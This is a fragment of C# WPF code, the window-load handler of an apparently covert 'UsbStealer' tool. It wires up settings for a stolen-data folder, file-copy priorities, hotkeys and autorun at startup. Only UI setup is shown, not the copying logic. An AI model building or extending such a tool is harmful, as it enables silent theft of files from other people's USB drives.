private async void Window_Loaded(object sender, RoutedEventArgs e)
        {
            //Check Updates
            var updateCheck =
                new UpdateCheck(FileVersionInfo.GetVersionInfo(Assembly.GetExecutingAssembly().Location).ProductVersion);
            await updateCheck.CheckUpdates();

            if (!updateCheck.IsUpdated)
            {
                MessageBoxResult result = MessageBox.Show("Would you like to Update to the latest version?", "Update",
                                                          MessageBoxButton.YesNo, MessageBoxImage.Question, MessageBoxResult.Yes);
                if (result == MessageBoxResult.Yes)
                {
                    updateCheck.OpenDownloadingSite();
                }
            }

            var keys = Enum.GetNames(typeof(Key));

            ComboBoxStartHotKey.ItemsSource = keys;
            ComboBoxStopHotKey.ItemsSource  = keys;
            if (!Settings.ReadFromFile(UsbStealer, this))
            {
                Settings.Reset(UsbStealer, this);
            }

            UsbStealer.OnNewDriverAdded            += UpdateListViewDrives;
            UsbStealer.OnStoppedMonitor            += UsbStealerOnOnStoppedMonitor;
            UsbStealer.OnStartedMonitor            += UsbStealerOnOnStartedMonitor;
            ButtonStartMonitor.DataContext          = UsbStealer;
            ButtonStopMonitor.DataContext           = UsbStealer;
            TextBoxStolenDataPath.DataContext       = UsbStealer;
            TextBoxLogPath.DataContext              = UsbStealer;
            TextBoxMonitorRefreshRate.DataContext   = UsbStealer;
            TextBoxPrecedenceExtensions.DataContext = UsbStealer.FileTransferSettings;
            CheckBoxCopyFilesBySize.DataContext     = UsbStealer.FileTransferSettings;
            ComboBoxStartHotKey.DataContext         = UsbStealer;
            ComboBoxStopHotKey.DataContext          = UsbStealer;
            CheckBoxEnableLogFile.DataContext       = UsbStealer;
            CheckBoxShowProgress.DataContext        = this;
            CheckBoxLaunchOnStartup.IsChecked       =
                Autorun.IsEnabled(Assembly.GetExecutingAssembly().FullName);

            //Check Command Line Arguments

            CheckCommandLineArguments();
        }